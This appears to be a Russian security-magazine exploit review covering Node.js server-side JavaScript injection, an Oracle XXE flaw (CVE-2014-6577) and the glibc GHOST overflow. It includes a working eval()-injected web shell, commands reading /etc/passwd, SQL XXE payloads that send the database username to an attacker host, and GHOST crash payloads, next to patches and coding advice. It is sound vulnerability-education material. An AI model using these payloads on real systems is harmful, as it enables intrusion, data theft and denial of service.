Се­год­ня мы раз­берем уяз­вимость GHOST, о которой в день анон­са на Хаб­ре появи­лось сра­зу нес­коль­ко пос­тов от раз­ных ком­паний. Более того, про нее до сих пор пишут раз­личные име­нитые ком­пании. Помимо это­го, рас­смот­рим уяз­вимос­ти в Node.js-при­ложе­ниях и рас­ска­жем о XXE-инъ­екции в БД от Oracle.
 

SSJS уязвимости

 

CVSSv2

N/A

 

BRIEF

Да­та релиза: 31 янва­ря 2015 года

Ав­тор: s1gnalcha0s, Jarda Kotěšovec

CVE: N/A

Нач­нем не с отдель­ной уяз­вимос­ти, а с типа — SSJS, что озна­чает Server Side JavaScript Injection (инъ­екция JavaScript-кода на сер­верной сто­роне). Пос­ле появ­ления плат­формы Node.js язык JavaScript встал на новый путь сво­его раз­вития. С помощью нее ста­ли делать как отдель­ные час­ти круп­ных сер­висов, так и прос­тые веб‑при­ложе­ния. В кон­цепте, о котором мы погово­рим, ошиб­ка про­исхо­дит из‑за неп­равиль­ной обра­бот­ки вво­димых поль­зовате­лем дан­ных, которые пос­тупа­ют в опас­ную фун­кцию eval().

 

EXPLOIT

В качес­тве при­мера возь­мем прос­той скрипт (на скрин­шоте пред­став­лен его вид в бра­узе­ре):

router.post('/demo1', function(req, res) {
var year = eval("year = (" + req.body.year + ")");
var date = new Date();
var futureAge = 2050 - year;
res.render('demo1', {
title: 'Future Age',
output: futureAge
});
});
Пример уязвимого приложения к SSJS
При­мер уяз­вимого при­ложе­ния к SSJS

Для ата­ки вос­поль­зуем­ся прог­раммой Burp Suite (о ней мы уже писали не раз) и вмес­то отправ­ки сво­его года рож­дения попыта­емся обра­тить­ся к перемен­ной res и заменить ее зна­чение:

res.write('SSJS Injection')
Проверка на SSJS-инъекцию
Про­вер­ка на SSJS-инъ­екцию

Ес­ли пос­ле это­го на стра­нице будет выведе­на наша стро­ка, то при­ложе­ние уяз­вимо к SSJS-инъ­екци­ям и мы можем запус­тить подобие веб‑шел­ла на JS, который ста­нет дос­тупен через пять секунд на 8000-м пор­ту:

setTimeout(function() {
require('http').createServer(function(req, res) {
res.writeHead(200, {
"Content-Type": "text/plain"
});
require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e, s, st) {
res.end(s);
});
}).listen(8000);
}, 5000)

Для исполь­зования этот код нуж­но пред­ста­вить в одну стро­ку.

Отправка веб-шелла в Node.js-приложение
От­прав­ка веб‑шел­ла в Node.js-при­ложе­ние

Так как встав­ляемый код будет выпол­нен текущим при­ложе­нием, то получен­ный веб‑шелл не будет записан на диск и выпол­нится как дочер­ний про­цесс Node-про­цес­са. Помимо это­го, отправ­ленный код ничего не выпол­няет на текущей стра­нице, поэто­му пос­ле его выпол­нения нам покажет­ся обыч­ная стра­ница нашего тес­тового при­ложе­ния.

Те­перь на 8000-м порт мы можем отправ­лять раз­личные сис­темные коман­ды через перемен­ную cmd. На скрин­шотах пред­став­лены при­меры выпол­нения сле­дующих команд:

cat /etc/passwd
ls -la /etc
Выполнение команды cat в уязвимом Node.js-приложении
Вы­пол­нение коман­ды cat в уяз­вимом Node.js-при­ложе­нии
Выполнение команды ls в уязвимом Node.js-приложении
Вы­пол­нение коман­ды ls в уяз­вимом Node.js-при­ложе­нии

Это впол­не реаль­ный прос­той при­мер при­ложе­ния, уяз­вимого к SSJS-инъ­екци­ям. Подоб­ную уяз­вимость обна­ружил в пла­гине Basmaster иссле­дова­тель Ярда Котешо­вец (Jarda Kotěšovec). Ей был прис­воен номер CVE-2014-7205, и в качес­тве пат­ча фун­кция eval() была прос­то уда­лена. Помимо рас­смот­ренно­го веб‑шел­ла, есть Metasploit-модуль, экс­плу­ати­рующий уяз­вимость CVE-2013-4660, поэто­му, если ты най­дешь уяз­вимость в каком‑либо Node.js-при­ложе­нии, можешь исполь­зовать и его в качес­тве шаб­лона.

На текущий момент не все тул­зы для про­вер­ки безопас­ности веб‑при­ложе­ний обна­ружи­вают подоб­ную уяз­вимость, поэто­му советую обно­вить/написать пла­гины.

 

SOLUTION

Для того что­бы быть в кур­се по безопас­ности Node.js, советую сайт nodesecurity.io, где ты можешь най­ти перечень уяз­вимос­тей в про­дук­тах на этой плат­форме или в самой Node.js.

От редакции

Илья «f1nn» Русанен, глав­ред Х

Бо­рис при­вел отличный кон­цепт server-side injection для Node.js. При нахож­дении подоб­ных учас­тков в опен­сор­сных модулях проб­лема обре­тает мас­совый харак­тер. Как Node.js-раз­работ­чик, дам пару прос­тых советов, которые до какой‑то сте­пени помогут тебе избе­жать таких проб­лем в сво­ем, да и чужом коде, на базе рас­смот­ренно­го выше при­мера для фрей­мвор­ка Express:

  1. Не исполь­зуй eval(). Исполь­зование eval() (да и любой динами­чес­кой генера­ции фун­кций по поль­зователь­ско­му вво­ду) — в 95% слу­чаев опас­ный ход, потен­циаль­но ведущий к исполне­нию кода, ста­рай­ся обхо­дить­ся без него. Лич­но мне не уда­лось обой­тись без eval() толь­ко один раз — ког­да делал пакет­ную генера­цию гло­баль­но дос­тупных методов по набору дан­ных при стар­те вор­кера. Но я работал с доверен­ными дан­ными, которые не мог­ли быть ском­про­мети­рова­ны без зах­вата всей сис­темы, так как были read-only. В нашем же при­мере уяз­вимость про­явля­ется при пря­мой попыт­ке выпол­нить поль­зователь­ский или получен­ный с помощью поль­зователь­ских дан­ных ввод, что в прин­ципе недопус­тимо. Хотя, конеч­но, быва­ют дикие слу­чаи, ког­да сама стро­ка для eval() ском­про­мети­рова­на внеш­ним методом, а сама по себе может брать впол­не доверен­ные дан­ные, но это уже, сам понима­ешь, ком­плексная проб­лема всей сис­темы. Если такое слу­чит­ся — тебе уже будет не до eval().
  2. Филь­труй ввод или исполь­зуй под­готов­ленные шаб­лоны.. Если тебе (или third-party модулю) все‑таки нуж­но выпол­нять что‑то, что при­ходит от кли­ента:
    • про­веряй валид­ность получен­ных дан­ных на соот­ветс­твие ожи­даемо­му фор­мату, час­то это уже реша­ет полови­ну проб­лемы;
    • обе­зопась все, что при­ходит от кли­ента, а потом не забудь отло­вить ошиб­ку при eval() / генера­ции фун­кции, если ввод не соот­ветс­тву­ет ожи­дани­ям. Этот пункт не всег­да помога­ет, так как, во‑пер­вых, try/catch может быть пре­дус­мотрен зло­умыш­ленни­ком в исполня­емой фун­кции, что­бы обой­ти твои «ловуш­ки» или помешать им под­нять­ся до более «высоко­го» уров­ня. А во вто­рых, как извес­тно, try/catch не пред­назна­чен для обра­бот­ки асин­хрон­ного кода. Под­робнее смот­ри тут;
    • в‑треть­их, если у тебя нет пря­мого кон­тро­ля над вво­дом (ска­жем, уяз­вимый модуль исполь­зует­ся в качес­тве middleware-фун­кции и берет дан­ные нап­рямую из объ­екта req Express’а, а фор­кать ты по каким‑то при­чинам не хочешь), пиши отдель­ную middleware-фун­кцию, которая до попада­ния дан­ных в чужой модуль обе­зопа­сит получен­ные дан­ные, прос­то переза­писав их.

Адап­тируя эти под­ходы под себя, ты можешь с высокой веро­ятностью про­филь­тро­вать попыт­ки инжекта в свое при­ложе­ние на Node.js.

 

XXE-инъекция в Oracle Database

 

CVSSv2

N/A

 

BRIEF

Да­та релиза: 21 янва­ря 2015 года

Ав­тор: Khai Tran

CVE: 2014-6577

Мо­дуль XML Parser в Oracle Database под­вержен инъ­екции типа XML External Entity (XXE). Во вре­мя его выпол­нения допол­нитель­ная schema получа­ется, но не обра­баты­вает­ся. Из‑за это­го мы не можем про­вес­ти обыч­ную XXE-ата­ку с воз­можностью, нап­ример, про­читать раз­личные локаль­ные фай­лы с уяз­вимого сер­вера. Тем не менее ата­кующий может с помощью спе­циаль­ного зап­роса выз­вать XML Resolver, обма­нув сер­вер, и обра­тить­ся к уда­лен­ному ресур­су по FTP- или HTTP-про­токо­лу. Вследс­твие это­го ста­новит­ся воз­можным выб­рать некото­рые дан­ные из БД, прос­каниро­вать пор­ты, выпол­нить Server-Side Request Forgery (SSRF) ата­ки или выз­вать DoS.

 

EXPLOIT

Уяз­вимы сле­дующие URI-обра­бот­чики:

  • http;
  • ftp.

XML Parser может быть выз­ван с помощью фун­кции extractvalue() для объ­екта xmltype. Если бы у нас была прос­тая XXE-уяз­вимость, то сра­ботал бы сле­дующий «стан­дар­тный» код:

select extractvalue(xmltype('<!ENTITY xxe SYSTEM "etc/passwd">]>'|| '&' ||'xxe;'),'/l') from dual;

Увы, пос­ле выпол­нения мы получим сле­дующую ошиб­ку:

ORA-31001: Invalid resource handle or path name "/etc/passwd"
ORA-06512: at "SYS.XMLTYPE", line 310
ORA-06512: at line 1
31001. 00000 - "Invalid resource handle or path name "%s""
*Cause: An invalid resource handle or path name was passed to the XDB hierarchical resolver.
*Action: Pass a valid resouce handle or path name to the hierarchical resolver.

Во вре­мя обра­бот­ки FILE URI он кон­верти­рует­ся в путь XDB Repository. Но если мы обра­тим­ся к HTTP URI обра­бот­чику, то получим уже дру­гую ошиб­ку. При­мер такого зап­роса:

select extractvalue(xmltype('<!ENTITY xxe SYSTEM "http://IP/test">]>'|| '&' ||'xxe;'),'/l') from dual;

Ошиб­ка на сер­вере:

ORA-31020: The operation is not allowed, Reason: For security reasons, ftp and http access over XDB repository is not allowed on server side
ORA-06512: at "SYS.XMLTYPE", line 310
ORA-06512: at line 1
31020. 00000 - "The operation is not allowed, Reason: %s"
*Cause: The operation attempted is not allowed
*Action: See reason and change to a valid operation.

Эта ошиб­ка показы­вает нам, что FTP и HTTP URI уже не кон­верти­руют­ся и без проб­лем обра­баты­вают­ся модулем XML Parser «как есть». Заметь, что ука­зан­ная выше коман­да не отправ­ляет HTTP-зап­росы на сер­вер ата­кующе­го. Поэто­му рас­смот­рим теперь сле­дующий зап­рос с дру­гой полез­ной наг­рузкой, который обра­щает­ся к Parameter Entity вмес­то Document Entity.

select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://IP/test"> %remote; %param1;]>'),'/l') from dual;

Пос­ле его выпол­нения на сер­вере будет та же ошиб­ка, что и в прош­лый раз (ORA-31020). Но, нес­мотря на это, сер­вер мы все рав­но обма­нули, и он обра­тил­ся к ресур­су с име­нем test. Для про­вер­ки прос­мотрим HTTP логи на ата­кующем сер­вере:

ncat -lvp 80
Ncat: Version 6.25 ( http://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from DB_IP.
Ncat: Connection from DB_IP:27320.
GET /test HTTP/1.0
Host: DB_IP
Content-Type: text/plain; charset=utf-8

Обыч­но ата­кующе­му тре­бует­ся дос­туп к пакету UTL_HTTP, что­бы сер­вер выпол­нял HTTP-зап­росы на уда­лен­ные ресур­сы. В нашем слу­чае фун­кция extractvalue() дос­тупна для всех поль­зовате­лей базы дан­ных, что и поз­воля­ет нам выпол­нять HTTP-зап­росы без каких‑либо при­виле­гий.

Об­работ­чик FTP URI (ftp:) может быть так же исполь­зован, как и HTTP URI. При­мер зап­роса, который отправ­ляет имя поль­зовате­ля базы дан­ных в качес­тве логина FTP-поль­зовате­ля.

select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "ftp://'||user||':bar@IP/test"> %remote; %param1;]>'),'/l') from dual;

Но ошиб­ка в базе дан­ных будет отли­чать­ся (так как исполь­зуемые дан­ные для дос­тупа к FTP вряд ли будут реаль­ными):

ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00202: could not open "ftp://SYSTEM:bar@IP/test" (error 402)
Error at line 1
ORA-06512: at "SYS.XMLTYPE", line 310
ORA-06512: at line 1
31011. 00000 - "XML parsing failed"
*Cause: XML parser returned an error while trying to parse the document.
*Action: Check if the document to be parsed is valid.

На скрин­шоте ты можешь уви­деть логи FTP-сер­вера, на котором выделе­но передан­ное имя поль­зовате­ля — SYSTEM, в качес­тве логина.

FTP-логи с переданным именем пользователя текущей уязвимой БД Oracle
FTP-логи с передан­ным име­нем поль­зовате­ля текущей уяз­вимой БД Oracle

Ес­ли тебе инте­рес­на тема XXE-инъ­екций, то советую пре­зен­тацию с Black Hat от наших рус­ских ребят или статьи из прош­лых номеров Хакера.

 

TARGETS

Oracle Database 11.2.0.3, 11.2.0.4, 12.1.0.1 и 12.1.0.2.

 

SOLUTION

Есть исправ­ление от про­изво­дите­ля.

 

GHOST. Переполнение gethostbyname() в библиотеке glibc

 

CVSSv2

N/A

 

BRIEF

Да­та релиза: 8 июля 2015 года

Ав­тор: Qualys, Spiderlabs

CVE: 2015-0235

Ну и конеч­но, в сво­ем обзо­ре мы не мог­ли обой­ти сто­роной нашумев­шую уяз­вимость, которая получи­ла собс­твен­ное наз­вание — GHOST. Такое имя, нем­ного поиг­рав бук­вами, ей дали из‑за того, что ошиб­ка находит­ся в фун­кци­ях gethostbyname() и gethostbyname2() биб­лиоте­ки glibc: GetHOSTbyname().

Логотип уязвимости GHOST
Ло­готип уяз­вимос­ти GHOST

Хо­тя чес­тнее будет ска­зать, что перепол­нение находит­ся в фун­кции __nss_hostname_digits_dots(), которая уже, в свою оче­редь, исполь­зует­ся ука­зан­ными выше фун­кци­ями. Ниже пред­став­лен спи­сок нес­коль­ких уяз­вимых при­ложе­ний:

  • clockdiff;
  • procmail (through its comsat/biff feature);
  • pppd;
  • Exim mail server (если скон­фигури­рован с опци­ями helo_verify_hosts или helo_try_verify_hosts).

Слож­ность экс­плу­ата­ции сос­тоит в том, что для переза­писи кучи URL дол­жен удов­летво­рять сле­дующим усло­виям:

  • со­дер­жать в себе толь­ко циф­ры и точ­ку;
  • пер­вый сим­вол дол­жен быть циф­рой;
  • пос­ледний сим­вол не дол­жен быть точ­кой;
  • быть дос­таточ­но длин­ным, что­бы перепол­нить буфер (>1 Кб).

Бо­ево­го экс­плой­та пока что нет в сво­бод­ном дос­тупе, но есть раз­личные PoC, которые могут как минимум выз­вать DoS сер­вера. О них мы и погово­рим.

 

EXPLOIT

По­мимо обыч­ных при­ложе­ний, ука­зан­ных выше, этой уяз­вимос­ти под­верже­ны и те, которые написа­ны на PHP, так как там сущес­тву­ет обер­тка для фун­кции gethostbyname() с одно­имен­ным наз­вани­ем. Более того, такая фун­кция исполь­зует­ся в популяр­ной CMS WordPress в фун­кци­она­ле pingback. Ее вызов находит­ся по сле­дующе­му пути wp-includes/http.php:

$parsed_home = @parse_url( get_option( 'home' ) );
$same_host = strtolower( $parsed_home['host'] ) === strtolower( $parsed_url['host'] );
if ( ! $same_host ) {
$host = trim( $parsed_url['host'], '.' );
if ( preg_match( '#^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$#', $host ) ) {
$ip = $host;
} else {
$ip = gethostbyname( $host );
if ( $ip === $host ) // Error condition for gethostbyname()
$ip = false;
}

По­это­му ата­кующий может вос­поль­зовать­ся этим век­тором и выпол­нить про­изволь­ный код на сто­роне сер­вера, отпра­вив вре­донос­ный URL.

Фун­кци­онал pingback уже не пер­вый раз исполь­зует­ся для атак. Ана­лиз одной из таких DDoS-атак ты можешь про­читать в бло­ге ком­пании SpiderLabs, а на скрин­шоте показан при­мер ата­ки с помощью XML-зап­роса, который отправ­ляет­ся на скрипт xmlrpc.php WordPress-сай­та. Жел­тым под­све­чен сайт, который исполь­зует­ся как тран­спорт, а оран­жевым — жер­тва. Для нашей же уяз­вимос­ти в оран­жевом URL будет набор вре­донос­ных байт.

Пример DDoS-атаки с помощью XML-запроса через pingback
При­мер DDoS-ата­ки с помощью XML-зап­роса через pingback

Пос­ле упо­мина­ния, что новой уяз­вимос­ти под­вержен WordPress, иссле­дова­тели из SpiderLabs написа­ли неболь­шой скрипт для текущей уяз­вимос­ти WordPress-сай­тов.

# Set up POST request
payload = <<_EOF_
<?xml version="1.0"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params><param><value>
<string>http://#{ghost_host}/index.php</string>
</value></param>
<param><value>
<string>http://#{ghost_host}/index.php</string>
</value></param>
</params>
</methodCall>
_EOF_

В перемен­ной #{ghost_host} у нас будет хра­нить­ся стро­ка из 0 дли­ной, ука­зан­ной в аргу­мен­те передан­ному скрип­ту. Как пишут иссле­дова­тели, эта дли­на отли­чает­ся для раз­личных плат­форм и вер­сий glibc, PHP и WordPress. Пос­ле успешной ата­ки мы уви­дим сле­дующее:

  • 500 код отве­та для вари­анта с php-cgi;
  • без HTTP отве­та с mod_php.

На скрин­шоте показан файл error_log от Apache с ошиб­ками пос­ле падения про­цес­са.

Ошибка в error_log от Apache
Ошиб­ка в error_log от Apache

Пол­ный текст скрип­та можешь ска­чать с GitHub. Так как этот скрипт и так был написан на Ruby, то не сос­тавило тру­да переде­лать его в неболь­шой мо­дуль‑ска­нер для фрей­мвор­ка Metasploit — wordpress_ghost_scanner.rb. Еще есть неболь­шая прог­рамма на C от авто­ров уяз­вимос­ти. Или вари­ант для быс­трой про­вер­ки:

> php -r '$e="0";for($i=0;$i<2500;$i++){$e="0$e";} gethostbyname($e);'
Segmentation fault

Мо­жешь выб­рать любой из пред­став­ленных вари­антов и про­верить им свои сай­ты. Помимо это­го, можешь ради инте­реса най­ти сер­висы в сво­ей сис­теме, которые исполь­зуют libc:

lsof | grep libc | awk '{print $1}' | sort | uniq

Ав­торы уяз­вимос­ти из ком­пании Qualys пишут, что работа­ют над пол­ноцен­ным Metasploit-модулем для этой уяз­вимос­ти, так что ожи­даем инте­рес­ных атак пос­ле релиза, тем более их PoC обхо­дит защит­ные механиз­мы на 32/64-бит­ных сис­темах. Для успешной ата­ки дос­таточ­но отпра­вить пись­мо на сер­вер с запущен­ным exim. Некото­рый ана­лиз они пред­ста­вили на сво­ем сай­те.

 

TARGETS

Glibc 2.17 и ниже. В дру­гих реали­заци­ях libc (uclibc, musl) уяз­вимость отсутс­тву­ет, но уяз­вим Eglibc.

 

SOLUTION

Есть исправ­ление от про­изво­дите­ля. Патч был выпущен в мае 2013-го в вер­сии glibc-2.18, но был сде­лан «по‑тихому», и из‑за это­го мно­гие дис­три­бути­вы его исполь­зовали нам­ного поз­же. Но на вся­кий слу­чай советую обно­вить­ся.
Для Ubuntu ОС набор команд стан­дар­тный:

sudo apt-get clean
sudo apt-get update
sudo apt-get upgrade

Для WordPress совету­ют отклю­чить XML-RPC с помощью пла­гина и фун­кци­онал pingback, добавив в файл functions.php сле­дующие стро­ки:

add_filter( `xmlrpc_methods`, function( $methods ) {
unset( $methods['pingback.ping'] );
return $methods;
} );

И не забывай прос­матри­вать логи :).

Оставить мнение